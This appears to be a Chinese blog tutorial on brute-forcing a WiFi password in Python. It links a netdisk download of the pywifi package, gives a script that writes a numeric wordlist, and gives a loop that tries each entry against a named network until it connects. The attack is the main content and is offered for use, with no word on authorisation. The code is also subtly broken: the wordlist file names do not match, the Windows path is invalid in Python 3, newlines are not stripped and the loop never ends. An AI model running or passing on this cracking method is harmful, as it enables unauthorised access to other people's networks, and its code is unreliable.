Python破解WIFI密码详细介绍

       俗话说“小时偷针,大时偷鸡”,来告诉我们从小要养成良好的行为习惯。但是自从走上程序员这条路以后,学习变得枯燥,明明很有时间,“却变得没有时间了”,总之学习效率特别低效。自从看了老牌CSDN 排名TOP1故事后,发现还是得从兴趣或者游戏入手学习效率才可能变得可观。闲话少说,下面开始详细介绍Python破解WIFI密码过程:

工欲善其事必先利其器:

      Python提供了一个非常有用的包来获取网络端口并与之交流(这个词自我感觉比较贴切一点),所以首先我们先安装pywifi这个包:

1,win+r, 然后输入cmd,(win键就是键盘左下第三个键,带有窗口图标),如下图

Python破解WIFI密码详细介绍_第1张图片

2,一开始我用常规安装命令,install pip pywifi,出现报错。因为这个包不能用pip直接下载了(怕坏人学这个干坏事。。。自己脑补)。这个包我百度网盘有:https://pan.baidu.com/s/1PAkD2MyXmXpyRolH-bFaSA,提取码:k1e7。下载以后需要解压,然后安装在C盘(因为命令行在C盘很方便),我安装在C盘更目录下。

直接安装报错:

Python破解WIFI密码详细介绍_第2张图片

下载后解压:

Python破解WIFI密码详细介绍_第3张图片

  命令行输入cd .. 都根目录(cd ..表示返回上一级目录),然后输入install  pywifi .(后面有一个点不能省略,下图有错误示范):

Python破解WIFI密码详细介绍_第4张图片

生成密码文本:

1,先在桌面生成一个密码本,里面包含密码,生成密码比较浪费时间,可以包含数字,字母大小写,其他字符。这里我以数字为例:

import itertools as its
import datetime

#记录程序运行时间
start=datetime.datetime.now()
words = '1234567890'#这里可以加入字母和其他字符,使用string包更方便
# 生成密码的位数
r = its.product(words,repeat=4)#4即生成4位密码,正常情况下热点密码位数为8
dic =open(r"C:\Users\Administrator\Desktop\paswwer.txt",'a')
for i in r:
    dic.write(''.join(i))
    dic.write(''.join('\n'))
    print(i)

dic.close()
print('密码本生成好了')
end=datetime.datetime.now()
print("生成密码本一共用了多长时间:{}".format(end-start))

2,python 程序运行时间介绍:主要有2种方式,程序运行时间和得到cpu时钟时间(后者更更精确):

#第一种
import datetime #也可以用time包,time.time()方法

start = datetime.datetime.now()
#这里可以放入运行代码,比较直接
end = datetime.datetime.now()
print (end-start)


#第二种,得到CPU时钟
import time
start = time.clock()

#这里可以放入运行代码,比较直接
end = time.clock()
print str(end-start)

3 ,结果。我用10位数字生成4位密码,结果如下(生成8位时间比较长,加入字母和其他字符后时间就很长了。。。。需要一台好电脑跑),当然加入全部字符后生成8位或者9位的密码本后,用穷举方法让程序全部跑一遍就很自然的能把密码找出来了(时间就比较长了,但是其实大部分人设置的密码主要以数字为主):

Python破解WIFI密码详细介绍_第5张图片

打开密码本里面就有所构密码本了(我生成的是八位密码,上面程序修改一下参数即可):

Python破解WIFI密码详细介绍_第6张图片

破解密码:

需要自己修改一下对应的WIFI名称,亲测有用,只是时间比较长。。。。。。

# coding:utf-8
import pywifi
from pywifi import const
import time
import datetime


#测试连接,返回链接结果
def wifiConnect(pwd):
    #抓取网卡接口
    wifi=pywifi.PyWiFi()
    #获取第一个无线网卡
    ifaces=wifi.interfaces()[0]
    #断开所有连接
    ifaces.disconnect()
    time.sleep(1)
    wifistatus=ifaces.status()
    if wifistatus ==const.IFACE_DISCONNECTED:
        #创建WiFi连接文件
        profile=pywifi.Profile()
        #要连接WiFi的名称
        profile.ssid="jiayi"
        #网卡的开放状态
        profile.auth=const.AUTH_ALG_OPEN
        #wifi加密算法,一般wifi加密算法为wps
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        #加密单元
        profile.cipher=const.CIPHER_TYPE_CCMP
        #调用密码
        profile.key=pwd
        #删除所有连接过的wifi文件
        ifaces.remove_all_network_profiles()
        #设定新的连接文件
        tep_profile=ifaces.add_network_profile(profile)
        ifaces.connect(tep_profile)
        #wifi连接时间
        time.sleep(3)
        if ifaces.status()==const.IFACE_CONNECTED:
            return True
        else:
            return False
    else:
        print("已有wifi连接") 
 
#读取密码本
def readPassword():
    print("开始破解:")
    #密码本路径
    path="C:\Users\Administrator\Desktop/password.txt"
    #打开文件
    file=open(path,"r")
    while True:
        try:
            #一行一行读取
            pad=file.readline()
            bool=wifiConnect(pad)
            
            if bool:
                print("密码已破解: ",pad)
                print("WiFi已自动连接!!!")
                break
            else:
                #跳出当前循环,进行下一次循环
                print("密码破解中....密码校对: ",pad)
        except:
            continue

start=datetime.datetime.now() 
readPassword()
end=datetime.datetime.now()
print("破解WIFI密码一共用了多长时间:{}".format(end-start))

 

 

你可能感兴趣的:(Python)